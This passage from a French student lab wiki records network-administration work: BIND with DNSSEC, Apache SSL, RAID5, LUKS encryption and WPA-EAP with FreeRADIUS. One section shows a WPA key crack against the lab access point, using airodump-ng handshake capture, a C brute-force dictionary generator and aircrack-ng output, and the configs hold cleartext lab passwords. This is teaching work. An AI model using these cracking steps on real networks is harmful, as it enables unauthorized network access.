  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
